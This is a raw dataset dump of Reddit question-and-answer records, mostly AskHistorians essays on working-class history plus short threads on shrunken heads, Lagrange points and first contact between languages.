imposing our modern ideas about human relationships onto the past.\n\nNow in Britain in the 21st century in any kind of quantitative research that has an interest in class hierarchy, you will usually find that the model for breaking down class is the National Readership Survey Social Grade system. This grading system was devised some time in the 1950s to help understand what kind of magazines were read by what kind of people in British society, so that private firms could make informed choices about what publications they were best placed advertising their products and services in. The social grade system is unusual in that it at no point factors in someone's income into determining their class. Instead, it looks at the highest earning adult in a household and makes a judgement about them based on the kind of work they do (or did if they are retired), whether they have any managerial responsibilities at work, what educational qualifications they have and what qualifications a job like theirs would ordinarily require. From this entire households are sorted into one of six social grades:\n\nGrade | Description | Proportion of 2016 Population\n---|---|---\nA | Higher managerial, administrative and professional | 4%\nB | Intermediate managerial, administrative and professional | 23%\nC1 | Supervisory, clerical and junior managerial, administrative and professional | 28%\nC2 | Skilled manual workers | 20%\nD | Semi-skilled and unskilled manual workers | 15%\nE | State pensioners, casual and lowest grade workers, unemployed with state benefits only | 10%\n\nThe UK Government has a very similar 8-tier classification for class calculated slightly differently as well as a whole host of other proxy measurements of class depending on the purpose, but the NRS grade is the one most people are familiar with. Despite not asking about income it does closely match the income distribution of the UK; though there are exceptions, the higher your NRS grade, the higher your income. Most publications simplify the NRS structure into four smaller groups: AB (the top 27%), C1 (the next 23%), C2 (the next 20%, and DE (the bottom 25%). These groups are commonly summarised as 'Upper Middle Class', 'Lower Middle Class', 'Skilled Working Class' and 'Semi/Unskilled Working Class' respectively, which leads to further simplification where ABC1 are sometimes described as 'Middle Class' and C2DE 'Working Class'. The NRS' emphasis on education and job type is an attempt to capture the fact that class aligns to but does not *stem from* income and purchasing power alone - the NRS was created to try and help advertisers tailor their products to the social norms, values, aspirations and self-perception seen as typical to each class, not necessarily the wallets of individual consumer groups.", "I'm taking advantage of the relaxed moderating standards for this thread to speak a bit generally about economic history and the working class. And, also, I'm going to treat the term \"working class\" very loosely.\n\n\n\u00a0\nI've noticed a bit of a tendency in some of the questions here that I've answered, or the follow-up questions, to think of the economy as something driven by the decisions of particular people: leading politicians, or large business owners, or inventors. So there's questions about why economic growth was so strong post WWII, what led to the return. Or, perhaps, there's questions about what contribution colonisation made to the British Industrial Revolution, and sometimes when I respond \"probably negative\" I get a bit of surprise about what else could have driven it.\n\n\u00a0\nBut, as I've learnt more about economic history (in part, through answering questions here), I've grown more to appreciate the contributions of everyone: of the great mass of people, who get up and go to their jobs (be they waged, or unpaid 'housework', or 'entrepreneurial', to use the National Accounting term), adapting each day to what life throws at them. We see this vividly now, with the coronavirus, as people work out ways to keep on helping each other. More historically, the British Industrial Revolution has been revised from a relatively short, dramatic event, driven by some key inventions (the spinning jenny, the steam engine, iron production) to a much longer event spreading over centuries, spread across multiple industries. Lots of bits and bits of improvements, all over the place. And the Industrial Revolution was preceded and accompanied by the English Agricultural Revolution: a similar centuries-long event, where mainly unrecorded farmers and craftsmen specialising in agricultural tools developed and shared new techniques: not just in England but across England, the Netherlands and northern France (including what is now Belgium). Or, similar subtle increases in agricultural output that were going on at the same time in Edo-era Japan in the other side of the world. (And presumably going on elsewhere, England and Japan are a bit unusual firstly in the level of quantitative data collected there for the time, and secondly in being rich enough for decades to fund academics digging around into this). People, making choices every day, about how to make their lives better, or at least to stave off disaster.\n\n\n\u00a0\nYes, choices. Choices under constraint, but choices. The 'working class', be that the stereotypical Yorkshireman with a peaked cap marching off to the factory every day (one of my family lines is that), and his wife bargaining for vegetables at the markets, or broader, from farmers to office workers to Japanese merchants.\n\n\n\u00a0\nTo quote the economic historian Deidre McCloskey, on the neoclassical economists' approach to history:\n\n\n\u00a0\n > Neoclassicals are obsessed with Choice, and see choice where others see subordination or necessity. They would urge the historian not to jump too hastily to a diagnosis that peasants follow their plows by custom alone or that traders trust each other on grounds of solidarity alone.\n\n\n\u00a0\n > That is the main payoff to thinking neoclassically about history. The historian will be able to see choices where she did not before. The businessperson must choose between markets at home and abroad; the consumer must choose between buying in the village or in the town: the male laborer must choose between a factory or an apprenticeship; the female homeworker must choose between making homespun or entering the market.\n\n\u00a0\n...\n\n\n\u00a0\n > To emphasize a *free* choice is of course to take seriously a certain political agenda. ... The alternatives to mainstream, bourgeois economics - above all Marxist economics, but also institutionalist and other smaller schools - spend a good deal of their time attacking the reality of free choice. They argue that the free choice that matters is choosing the institution within which the so-called freedom is exercised, not choosing from inside a given institution. Freedom in such a view consists not in being free to sleep under the bridges, but in being free to change the society that allows people to be homeless.\u00a0 [Emphasis in original]\n\n\n\u00a0\n > To this the bourgeois economist ... can reply as follows: Yes the wider choices of reform and revolution are important. ... But the Marxists and institutionalists, says the neoclassical, underestimate how powerful are the small choices. The individual choices by rice buyers and factory owners in the economy are like the movements of air molecules in a balloon. The economics of choice examines the single molecules, with an eye on their behaviour in the mass. It is a Tolstoyan point, that even Napoleon's history needs to be told from the point of view of the common solider on the battlefield, who in a mass sets the conditions under which the Great Man maximises, or fails to maximise.\n\n\n\u00a0\nThis is not to say that choices everyone makes are always rational, or good choices. But, though it is common amongst academics these days to criticise the economists' assumption of rationality, our ancestors, whatever else they did, managed to raise the next generation to adulthood, in a life mainly full of dangers, from crop failures to farm animals, to cooking over open fires, to roughly-made machinery. It is hard to envisage how they could have done that if they were irrational. Perhaps we are more irrational now than past generations, because we have the luxury to be so. My great-grandma, when she did the laundry, started by lighting a fire to heat the water. She didn't have my luxury of a washing machine, or a laundromat down the road when that breaks. She couldn't afford to waste time, or resources, like I can. (And also, I often find myself, when reading a critique of rationality, wondering how rational the authors think themselves to be. Do they query their own rationality, do they doubt their observations?)\n\n\n\u00a0\nSo raise a glass to the 'working class': to all of us who may never make the history books, who are never perfectly rational, but who each day get up and do the best we can, for ourselves and for our loved ones, and, surprisingly often to a cynical economist, for perfect strangers. May future generations recognise the importance of our choices. And, to draw on one part of my heritage, kia kaha whanau (Maori/Te Reo for \"be strong, family\").\n\n\n\u00a0\n\u00a0\n**Source**\n\n\n\u00a0\nDeidre McCloskey: *The Economics of Choice: Neoclassical Supply and Demand,* in Thomas Rawski, ed., Economics and the Historian (Berkeley and Los Angeles: University of California Press, 1995): 122-158.\u00a0\u00a0_URL_0_\n\u00a0", "One of my personal bugbears when it comes to the way we write and think about history is the commonly-used trope of \u2018forgotten\u2019 history. The example that tipped me over the edge a few years ago was something I happened to read on Holocaust Memorial Day about the \u2018forgotten victims\u2019 of Nazism, a category expansive enough to include millions of priests, communists and socialists, Roma and Sinti, and LGBT people murdered by the regime. What irked me then, and has continued to do whenever I encounter the trope ever since, was the inherent contradiction between claiming that something has been forgotten whilst simultaneously publicly discussing it.\n\nThe many victims of Nazism, of course, have not been forgotten, not by professional historians, certainly not by the communities they came from and not even, I would guess, by a significant proportion of the general public. An uncharitable interpretation of this trend is historians making a lazy grab for originality and impact \u2013 they are nobly saving their subjects from the indignity of being forgotten, implying sole ownership of the topic, as well as asserting its inherent importance in halting an intellectual extinction. It might also be viewed as a matter of establishing progressive \u2018street cred\u2019, implicitly contrasting oneself with the Eurocentrics/Establishment/Other who are more conventional in their approaches and therefore aiding and abetting forgetting. Yet this model of history writing \u2013 which frames the historian (rarely, however, the archivist or subjects they got their information from) as the saviour of the past \u2013 is deeply problematic.\n\nYou might well be asking what on earth this has to do with working-class histories. Working class histories are often in considerable danger of being \u2018discovered\u2019 by academic or other historians eager to rescue the past from itself. I know this, because I came pretty close to doing it myself.\n\nMy own specialist research deals with international responses to the Spanish Civil War, a subject I\u2019ve written about a great deal on this forum. More specifically, I specialise in the tens of thousands of private individuals who travelled to Spain to fight in the conflict, generally out of a genuine desire to oppose the spread of fascism. Even more specifically, I investigated a specific contingent of these volunteers: those that came from Scotland.\n\nIf you\u2019ve heard of the foreign volunteers in the Spanish Civil War, odds are you have people like George Orwell, Stephen Spender, W. H. Auden or some other young, male writer who went to Oxford or Cambridge. It was, in the popular imagination, quite the literary war, with \u2018poets exploding like bombs\u2019 in Auden\u2019s words. Yet this disguises the reality that the vast majority of those that went to Spain came from working-class backgrounds. In the Scottish case, close to 98% of those whose social background is known came from solidly working-class backgrounds. Over 500 working-class Scots journeyed to Spain to fight in defense of the Spanish Republic. Nearly a quarter of them are still buried there.\n\nTheir\u2019s is a remarkable story, yet one that has remained surprisingly marginal in academic history writing in Scotland. The history of working-class politics and activism in interwar Scotland is hardly neglected, yet most such accounts shy away from dealing with the impact of the war in Spain. Perhaps for this reason \u2013 and, I won\u2019t lie, it was one of the reasons I decided to focus on this case study \u2013 there has never been any sustained academic interest in the Scottish volunteers in Spain. This is in marked contrast to literally any comparable contingents \u2013 the Irish got two academic books on them published in 1999 alone, while even comparatively tiny contingents like the Australians and Cypriots had dedicated studies published decades ago. Even in the many accounts that focus on British involvement in the conflict, Scotland has remained entirely marginal. At best, distinctive features \u2013 such as the disproportionate number of Scottish volunteers among the British contingent in Spain \u2013 have been noted, but never explained. Other aspects, such as the impact and basis of pro-Republican solidarity campaigns, have been addressed within British or English frameworks, but never with particular regard for Scottish sources and perspectives.\n\nIn light of this, it was tempting to claim that my work deals with \u2018forgotten\u2019 history \u2013 the uncovering of a neglected Scottish past that otherwise would remain obscure and unknown. Yet this could not be further from the truth. Scotland\u2019s involvement in the Spanish Civil War has never been forgotten, even as surviving participants slowly dwindled, and historians at Scotland\u2019s universities focused elsewhere. Local history has been preserved and remembered, with exhibitions, concerts and plays still regularly organised in the honour of Scotland\u2019s contribution to the struggle. Since the 1970s, memorials to the conflict, and the Scots who died there, have been built across the country, from the banks of the Clyde to Princes Street Gardens, from plaques in Ayrshire villages to trade union offices in Aberdeen. Since the 1970s, memorials to the conflict, and the Scots who died there, have been built across the country, from the banks of the Clyde to Princes Street Gardens, from plaques in Ayrshire villages to trade union offices in Aberdeen. A number of books \u2013 including several local studies and one popular history of Scottish involvement in the conflict \u2013 have been written and published by those involved in these efforts. Working-class communities have been remembering, and celebrating, their own histories.\n\nA reasonable observer might well ask: what then is the point of my work, or indeed academic history writing more broadly, if this story has already been remembered and preserved in a relatively complete form? Answering this question took time and reflection. A bad answer I considered and discarded was that as an outsider (in both class and national terms), I could be more distant and therefore objective. Quite aside from the premise, which implicitly discredits the work of anyone who doesn't fit the academic mould (ie white and middle-class), anyone who looks at the politics of the 1930s and thinks \"Yes, these are issues regarding which I am neutral\" can get in the sea. However, I do retain some faith in the methodology and scholarship that professional historians employ \u2013 I don\u2019t claim knowledge that doesn\u2019t for the most part exist elsewhere, but I do think that I\u2019ve got the skills needed to make some additional sense out of that knowledge, and answer some questions that have remained unresolved. More broadly, I think that I can ensure that this particular history doesn\u2019t exist in vacuum \u2013 it\u2019s part of a much broader story of the Spanish Civil War itself, the nature of interwar communist movements as well as an important chapter in the wider ideological battle that defined the 1930s. But what I am definitely not doing is writing a \u2018forgotten\u2019 history.", "(1/2)\n\nI'd like to preface this by saying that writing for this floating feature has been an immense challenge - I tend to mesh well with specific, narrow questions, and with pursuing specific goals in my writing: a paper, a prompt, a grade. Tackling something as open ended as 'working class histories' is a real challenge for me, but I appreciate the opportunity to try leaving my comfort zone a bit and launch into a winding, probably incoherent narrative about what I've studied the most, American labor history. So, thanks to the mod team for opening this up and even letting me know it was happening. \n\nThere's an unfortunate tendency in labor history writing to take a decidedly Marxian or Socialist stance at the outset, or through the writings themselves. In my case in particular, red flags (no pun intended) were quickly raised in my first ever labor history class when the Professor opened with a particularly in-depth analysis and argument in favor of the Labor Theory of Value, and a great deal of the class was taught with a decidedly socialist bent. In a lot of ways, it felt like a particularly European take on American class relations for most of the class's run time, and very little weight was given to uniquely American perspectives. I see this a lot online today - internet socialists, for all their flaws, have a real tendency to see things as a European, use exclusively Marxist terms, and the like. I know that Marxism is supposed to be a globalizing ideology, but I'll always make the case that American conceptions of class relations and class structure is unique, perhaps particularly unique to just this one country. We've always gotta be the exception, I suppose. \n\nI tend to object to Marxist perspectives being superimposed over American history because so much of American labor history has been shaped by a decidedly non-Socialist ideology, that of small-r republicanism. Understanding republicanism, I'd argue, is central to understanding why America's class relations and social structure are so decidedly, well, American. Socialism never really took hold in America like it did in Europe thanks to the thoughts and writings of republican thinkers and leaders at all levels of wealth.\n\nThe crux of republicanism was the glorification of \u2018free labor and free men.\u2019 Work was seen as a moral good when performed for the benefit of yourself or your family, and an emphasis was placed on those who were the \u2018masters of their own small worlds-\u2019 smallholders, minor landowners, independent businessman-farmers, the like. Republicanism and Jeffersonianism are often compared interchangeably, but I\u2019d argue this isn\u2019t really exactly true, as the broader ideology of republicanism built upon and improved the fundamental tenets of Jeffersonianism. \nRepublicans of the mid-1900s \u2018glorified\u2019 free labor, but their understanding of what exactly free labor is is itself a fascinating question. Free labor was most usually presented as a direct opponent of the unfree slave labor of the south; utilized by early republican thinkers to contrast what they viewed as the increasingly dynamic and bold north with the regressive, conservative (small c) South - in many ways, it was as much a political ideology as an economic one. Abraham Lincoln argued that \"Labor is prior to, and independent of capital . . . in fact, capital is the fruit of labor\u201d and republican orators stressed the preeminence of labor in every facet of Northern society. Yet the modern conception of \u2018working class\u2019 does not fit this 19th century conception of free labor, as republicanism was a decidedly middle class ideology. The laborer of the republican imagination was a freeholder, a land owner, a small independent farmer of the Jeffersonian ideal. Northern free labor was seen as being dignified, the small man striking out on his own and obtaining wealth, contrasted quite strongly with the undignified slaveowning elites of the South. Again striking a decidedly un-Marxist message, republicans believed the primary motivation of the worker was to obtain wealth and one day become a wealthy capital holder themselves, something which republicans believed could not be achieved in urban areas. Indeed, despite a sometimes overwhelming focus in labor history circles on the urban workingman, the factory worker, the urban union member, conceptions of the working class in America were shaped by a class of thinkers who believed an escape from the city was crucial to becoming a working man, a free laborer. Prominent republican thinkers weren\u2019t huge fans of urban areas, and believed that the urban underclass should be incentivized to leave the city and strike out on their own in the country (reflected by laws like the Homestead act). To republicans, a wage worker was not dissimilar from a southern slave - working for another man with no hope for advancement. Class mobility was king - class identity was an afterthought to republicans, many of whom dominated early American political life. There\u2019s this common take that American workers aren\u2019t radical because everyone believes themselves to be a \u2018temporarily disadvantaged millionaire,\u2019 and to be frank that isn\u2019t all true - because the earliest conceptions of American working life was shaped by people who emphasized self improvement and mobility, believed that true free labor was one were one could benefit themselves and their family without concern for a boss or a wage. Class identity in America was shaped by the fact that the dominant American political thinkers of our formative years believed the interests of poor and rich to be essentially aligned. \"We are not of the number of those who would array one class of society in hostility to another,\" the Cincinnati Gazette announced during the social dislocations caused by the Panic of 1857. Greeley agreed that \"Jacobin ravings in the Park or elsewhere, against the Rich, or the Banks,\" could in no way alleviate \"the distress of the poor.\" This isn\u2019t to say that republicans favored corporations or big business or the economic upper class - republican papers consistently compared the capital-dominating corporations of the time to large southern slaveowners, critiqued \u2018money capitalists\u2019 and often attacked the concept corporate structure itself, crucially because the concept of making money through holding money stood in direct opposition to the obtaining of wealth by hard work and dedication Republicanism was firmly middle class in perspective and outlook.", "So, my contribution is going to be a lot less meta than most of the other ones - I'd just like to share an aspect of working-class history which I have researched! My research is about the musical lives of women who worked as itinerant herring gutters in the Scottish fishing industry from the mid-19th to mid-20th centuries. Full disclosure: I'm a middle-class American, so this is not writing about my own community, though my great-grandfather was a Norwegian fisherman, and his mother may have been a herring gutter (women from her town travelled to Scotland to gut herring). I became interested in this topic when I moved to a Scottish fishing village and started volunteering at the Scottish Fisheries Museum. I have found though that older people in my community are bemused but happy that an outsider has taken an interest in their history, and my talks about the subject in fishing heritage communities have been well-received, so I take that as a good sign! :)\n\nIn the 19th century, the herring fishing became one of Scotland's most important industries. The fishing season lasted from roughly May to November, and it travelled around the coast of Britain to follow the migrating shoals of herring. It began in the Hebrides and the Irish Sea, then wound around to the Northern Isles, down the east coast of Scotland, and finally ending in East Anglia in the winter. While the men worked as fishermen, women who worked as herring gutters followed the fleets so that they'd be ready in the ports when the fish landed. The women would work gruelling hours in tough conditions, gutting and packing the fish in salted barrels for export around the world. Women were usually around 14 when they started this work, and some continued doing it even after they married and had children. Most of the women were Scottish, but there were also English, Irish, Norwegian, Swedish, and Manx women participating in the industry. Women continued working as herring gutters until the disappearance of the herring from British shores in the mid-20th century (a change mainly attributed to overfishing and climate change).\n\nWhen I was volunteering in the Scottish Fisheries Museum, I came across a reference that said the women would often sing while they gut the fish. This really intrigued me and I asked the curator if we could put up something about music in the museum, but she said I'd have to research it first since there wasn't much information about that available! So that's how I got started researching this rather obscure topic of women's work song in the Scottish fishing industry. I did an independent research project about the subject in my undergrad, and then I did my masters thesis on Gaelic work song in the fishing industry, so I'll share now a bit of what I've found through this research. The main sources are oral history archives, which Scotland has an impressive collection of - most notably in the School of Scottish Studies Archives at the University of Edinburgh, which has ethnographic recordings going back to 1949. There are also significant collections of this material at the Elphinstone Institute in Aberdeen and Canna House.\n\nIt turns out that women sang a rich variety of songs while gutting the herring. Frances Wilkins, a researcher at the University of Aberdeen, has written about how in the Northeast of Scotland, the content of gutters' songs was heavily influenced by evangelical revivals that hit the fishing communities in Peterhead and Fraserburgh. After a particularly bad fishing season, evangelical fervour swept through the fishing communities (dates are not my strong point, but one of these was around the turn of the 20th century and the other was in 1921). People began singing hymns at all different occasions, so fishermen and fish gutters would also sing while they worked. They tended to favour hymns with nautical themes, such as \"Throw Out the Lifeline\", and they were strongly influenced by the American Moody and Sankey hymnbook *Sacred Songs and Solos*.\n\nHowever, not all gutters sang such pious songs. In my masters research looking at archival recordings of gutting songs in the Scottish Gaelic language, I found that the majority of them were love songs. A song would have a general outline, but individual women would improvise verses which often served to tease their fellow gutters about the fishermen they were romantically interested in. The fishing season often ended in weddings between gutters and fishermen, since it was one of the main ways you could meet someone from outside your own village. Some of the songs were quite ribald, and their cheerful tone reflects the assertion by many gutters that it was the happiest time of their life. Although the work was very hard, it was a time to travel the world, meet new people, and, for teenagers, spend a fair amount of time unsupervised by adults.\n\nThe gutters would gather in their temporary housing for impromptu dances on Saturday evenings. Some of this dancing would be accompanied by *puirt-\u00e0-beul*, \"mouth music\", a genre of Gaelic song which involves singing very fast tongue-twisters to accompany dancing. Gaelic-speaking women had a long tradition of singing to accompany both dance and work - the most famous Gaelic work songs are the slow waulking songs women sang at the beginning of the process of waulking the tweed. But dance songs were generally better suited to the quick pace of gutting fish - women could gut up to 60 fish a minute!\n\nYou can hear an example of a gutting song [here](_URL_0_) sung by Mary Morrison, a gutter from Barra who contributed more gutting songs to the School of Scottish Studies than any other contributor. This one is about her boyfriend, who is kept away from her because he's having engine trouble on the boat where he works. Although this recording was not done in an actual gutting yard, the way that the other women join in on the vocable (\"nonsense\" syllables which encode information about rhythm) chorus reflects how the song would have been sung at the gutting: one woman sings the verses and the others join in on the refrain. This is also how waulking songs were sung in Gaelic-speaking communities.\n\nUnusually for Gaelic song, gutting songs include a lot of English loan-words, usually to do with the fishing industry. You can hear English words and phrases like \"engine trouble\", \"gangway\", \"deck-hand\", \"private\", and \"shottie\" (a Scots word referring to a catch of fish) in the song linked above. Although Gaelic speakers had basic English education in school, most Gaelic-speaking herring gutters learned English with a steep learning curve while at the herring. Gaelic-speakers have often been stereotyped as conservative and resistant to the outside world, and the forces of the English language and industrialization have been blamed for the decline of the Gaelic song tradition. However, the story of the herring gutters complicates this monolithic narrative, which paints Gaels as victims helpless against the forces of the outside world encroaching upon their culture. These women sang cheerfully about \"foreign\" men they encountered from England and mainland Scotland, they mixed English and Scots words in with their Gaelic, and they sang about how much they wanted economic changes. For example, they often sang about the houses they wanted their boyfriends to build them - not traditional thatched blackhouses like they had back home, but whitewashed houses with stairs and wooden floors like they saw in their travels to places like Shetland.\n\nThere is less evidence about what Scots-speaking gutters sang when they weren't singing hymns. However, a neighbour of mine came to a talk I gave about the fishing music several years ago. After my talk, he turned to the woman next to him and sang a little song he said he hadn't thought of in 60 years, but his mother had sung it to him when he was a child in the 1930s. I later recorded an interview with him, and he sang a little ditty his mother had improvised to the tune of \"Bon Accord\" when she was a herring gutter. It was in Scots, referenced local boat registration numbers, and was written to tease her friend about the fisherman she had a crush on - by the time she was singing this to her son, the two had married and were their neighbours. As far as I know, this is the only recording of a Scots gutting song that exists, but I am hoping to do a PhD to do research in more archives to see if there are others. A woman from Buckie interviewed by Buckie Heritage in the 1980s said that the women used to sing awful dirty songs before they \"got religion\", so it seems likely that Scots- and English-speaking women would also improvise teasing songs when gutting, just like their Gaelic-speaking counterparts, but this requires further research. (1/2)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.deirdremccloskey.com/docs/pdf/Article_106.pdf"], [], [], ["http://www.tobarandualchais.co.uk/en/fullrecord/19310?backURL=/en/search%3Fpage%3D1%23track_19310"]]}
{"q_id": "9i068c", "title": "DNA indicates that many shrunken heads are fake, but some are real. Have historians or anthropologists reinterpreted, revised, contextualized, and/or obliterated myths about the practice of shrunken heads? If so, how?", "selftext": "Historians, art historians, archaeologists, and anthropologists of Mexico have conclusive evidence that human and child sacrifice occurred frequently in Central Mexico, but the numbers have been far exaggerated in colonial sources. Likewise, research has demonstrated that sacrifice also occurred in the Andes and Maya areas, but in all of these areas, scholars have worked to place human sacrifice in its historical, cultural, and cosmological context. As a result, we see now that human sacrifice and cannibalism are tropes that have consistently played up the exoticism, barbarity, cruelty, and inhumanity of indigenous peoples and therefore have helped to justify the subjugation and outright genocides of indigenous peoples in the Americas. \n\nWhile reading an older work by John Hemming called *Red Gold*, I noticed a print of a head being boiled on page 24, and just the other day, I was in an anthropology museum, which contained a display of several shrunken heads. **I was wondering if scholars of Brazil or the Amazon have revised our understanding of the practice of making shrunken heads in the same way that scholars have revised, contextualized, and/or obliterated myths of other \"barbaric\" indigenous practices. Are these items largely only a popular myth? Do we know more about these practices and their meanings? If so, what have we learned?** ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9i068c/dna_indicates_that_many_shrunken_heads_are_fake/", "answers": {"a_id": ["e6gp9gg"], "score": [43], "text": ["I mean this with all sincerity: what is a cosmological context for human sacrifice? Do you mean that people decided to sacrifice based on the position of the stars, or do you mean that the universe outside the Earth somehow caused the sacrifice to occur? I don't see the relevance of cosmology here."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2z4pwx", "title": "Is it possible to orbit the earth permenantly on the dark side?", "selftext": "Asking for a friend.\n\nKind of like the moon that is always on jupiter's dark side.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2z4pwx/is_it_possible_to_orbit_the_earth_permenantly_on/", "answers": {"a_id": ["cpfqo4q"], "score": [63], "text": ["**Short answer:** Yes. \n\n**Long answer:** You're broadly interested in the Lagrange points. These are points in a two body orbital system (like the earth-sun system, for example) where you can place a satellite and it will remain there. \n\nThere are 5 of them, two that are ahead or behind the planet by 1/6th of the orbit, two that lie on the light with the planet and the star, and one on the opposite side of the sun. [Like this](_URL_0_)\n\nAnyway, if you placed a satellite at the L2 point it will stay at that spot, so that the sun-earth-satellite system will always be on a line. \n\n[In fact, there's already a handful of space satellites and telescopes at this point!](_URL_1_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://upload.wikimedia.org/wikipedia/commons/thumb/a/a5/Lagrange_points_simple.svg/800px-Lagrange_points_simple.svg.png", "http://en.wikipedia.org/wiki/Lagrangian_point#Spacecraft_at_Sun.E2.80.93Earth_L2"]]}
{"q_id": "49kln6", "title": "how do two languages, when meeting for the first time, learn each other's language?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/49kln6/eli5how_do_two_languages_when_meeting_for_the/", "answers": {"a_id": ["d0siwri", "d0sj01q", "d0slr5d", "d0snxlf", "d0spehq", "d0splze", "d0spvfg", "d0sqas0", "d0squ5g", "d0sqyh9", "d0sr9go", "d0srwo7", "d0srxiu", "d0ssaqq", "d0sslml", "d0sswju", "d0st512", "d0sul7g", "d0svdrn", "d0svtjl", "d0svu0u", "d0sw6vw", "d0swbv1", "d0swfg0", "d0sx0pl", "d0sx6e0", "d0sxbd4", "d0sxkr9", "d0sxnb9", "d0sy1bx", "d0sy6gz", "d0syjx6", "d0syo6d", "d0syofc", "d0sz17a", "d0sze91", "d0szfz4", "d0t04p6", "d0t08wy", "d0t09nd", "d0t13lc", "d0t1axo", "d0t24ua", "d0t2fm4", "d0t2qpx", "d0t3jan", "d0t3v62", "d0t4kxj", "d0t4txz", "d0t61dv", "d0t64rk", "d0t69nw", "d0t6gzf", "d0t6i5o", "d0t73o9", "d0t7p1a", "d0t8jmj", "d0t8sq0", "d0t9jqt", "d0t9n4p", "d0tarxk", "d0tawll", "d0taxsw", "d0tbli5", "d0tc5gl", "d0tcvbr", "d0teba7", "d0tepcc", "d0tgf12", "d0tgg9t", "d0tiykt", "d0tp8qn"], "score": [3679, 1348, 22, 114, 296, 14, 131, 69, 30, 64, 2, 3, 14, 3, 4, 9, 59, 6, 126, 479, 3, 3, 3, 3, 2, 4, 3, 3, 2, 4, 5, 6, 6, 3, 3, 6, 4, 6, 2, 3, 2, 3, 2, 2, 5, 3, 2, 6, 4, 2, 2, 2, 2, 18, 2, 2, 4, 2, 2, 5, 3, 2, 2, 3, 3, 3, 2, 3, 3, 2, 2, 2], "text": ["It starts with non-verbal communication.  If I pick up a piece of food, bring it to my mouth and make a chewing motion, its pretty obvious I am telling you to eat it.\n\nIf I then keep saying the word \"eat\" over and over again while doing that gesture, you'll figure out what the word \"eat\" means.\n\nRinse and repeat.", "Aside from dumbing-down the language and hoping people will understand, children are a HUGE help. When a child is inevitably raised in such an environment (people love having babies!), he or she becomes fluent in both languages and is able to translate.", "It starts with non verbal communication. You should find a way to say \"how do you say?\" Then hold up an object or act it our   Once you learn to say that, it's just a matter of time before you learn the language.", "You start with concrete words, naming objects, people, and simple actions. Then you start to put words together and add sentence structure. Then, you can add more complex and abstract ideas.\n\nIt's much the same way a child learns a language as a baby.\n\nKids are really, really good at this, in general, of they have enough exposure.", "Dances With Wolves has a scene depicting this. Kevin Costner's character said, \"Buffalo\" and made gestures. After a few minutes of utter confusion, one of the Native Americans realized what he was doing and replied, \"Tatanka (their word for buffalo)!\" Then they went from there.\n\nedit: a quotation mark", "I watched this video one night and in fact watched it all the way through.  I thought it was very interesting.  I knew nothing about linguistics and it was intriguing to me.  If you watch it, the lady doing the introduction is smart, boring and annoying, but her information is good.  Don't worry - it gets better real quick! _URL_0_", "You drop a stick. You point at the stick. You keep saying the word stick. Other people acknowledge that as a stick. Then do that with everything else.", "Either gestural, through a lingua franca, or through a creole. \n\nA Lingua Franca is a language that two people who have different first languages use to communicate with one another. (so a third language to translate through)\n\nA creole is a new language birthed out of two other languages, which usually specific groups of people will begin using in specific situations. ", "\"Tree,\" the Yank said to the Japanese native, pointing at one.\n\n\"Ki,\" the gentleman replied.\n\n\"I,\" the Yank continued, with his hand on his chest, \"Joseph.\"\n\n\"Watashi ha,\" his companion mimicked in return, \"Nobuo desu.\"\n\nAnd so on. Naturally there will be confusion along the line constantly, but over time experiences will exclude possibilities.", "Sometimes they don't. In Slavic languages Germany are called Niemcy [or similar](_URL_0_), what translates to \"mutes\" meaning their language is so strange, they couldn't understand anything. ", "we can learn any language and multiple languages at that when we are a baby so the best bet is, someone banged the chiefs daughter, became a part of the tribe, or left with his new wife and the baby picked up both tongues from both parent.", "_URL_1_ \u2013 This\n\n_URL_0_ \u2013 >  _URL_2_", "Not an ELI5 answer, but I thought you may be interested - Greg Egan's book Diaspora touches on this topic within the first chapter.  The premise of the book is hard to explain, but the gist of it is that far into the future the process through which sentient artificial intelligence is created (when two or more other AI's decide they want an offspring) sometimes creates an orphan AI.  This book is the account of one of these \"orphan\" AI's.\n\n[Here](_URL_0_) is an excerpt from the chapter that explains the process; I would like to point you in to a little bit above the middle of the page (do a ctrl+f and search for \"The orphan addressed the forum: \u201cPeople.\u201d\").\n\nAnyway, I thought the way the author describes the process of this orphan AI learning the language of the AI's around him was interesting.  In short, the orphan goes to where other AI's are (the \"forum\"), and says things/makes noise until he gets responses from those around him.  Once he gets responses from others around him, he just repeats back what he hears.  Eventually the orphan runs into AI's that realize what the orphan is trying to do, so they try to teach him the language by starting out with a \"game\" where they point at themselves and introduce themselves (\"I am Ortho_engineer,\" \"I am menotyou135,\" \"I am Yougetthepoint\").  Then, they start pointing at each other and introducing the other people (\"I am Ortho_engineer,\" \"He is menotyou135,\" \"He is Yougetthepoint\") - followed up by pointing at the orphan to try to get him to say what he calls himself.  After a while the orphan figures it out, and the grammar and language continues to develop from there.\n\nAnyway, this process seems like the most logical starting point when it comes to two people learning each other's language when both are in the dark.  Plus it makes sense compared to my own anecdotal experience.  I traveled to Japan during college with some classmates, and I couldn't speak or read a word of Japanese.  Yet, by the end of the week I had caught on to some basic things like what \"yen\" looks like written down, etc.", "Follow-up question. How did a language first come about? Did a group of people just start pointing to stuff and making sounds? How did they all agree that something should be called what it is?", "For specific questions like \"what language did the Dutch speak when they first met the Japanese\" you'll get better answers in /r/AskHistorians. But since the Dutch weren't the first Europeans to trade with Japan, Portugal was a big player in East Asia already, so they probably used translators that spoke Portuguese.\n\nAnd centuries later, when the Americans wanted to open up trade with Japan, both the Japanese and the Americans brought Dutch translators\n\nBasically it's rare for countries/peoples to be completely isolated, so there usually are people that can act as translators due to previous contact. Even if they don't speak the exact language, since many languages share similar roots. ", "The same way infants start to learn the language and it's meanings. They don't know how to speak or what that means, it's a new language (s) to them. But within few months, years they learn an entirely new language.\n", "When i was young (maybe 7) i met a deaf kid at a playground by a baseball field because my brother played baseball. We saw eachother a lot because all of the baseball games being played were at the exact same time on the exact same day because there are five fields. He knew sign language and i did not, so this started off with us pointing to things and shrugging our shoulders as if to ask \"want to go on that?\" We would point to the swings or the slide for example. After a good few weeks he would occasionally try to teach me some sign language that i think involved the playground and i tried to teach him to speak because i was a stupid kid. Once nothing ever worked we ended up flicking eachother off and laughing a lot. Then one day his mother came over and she grabbed him and started pulling him away while he screamed and 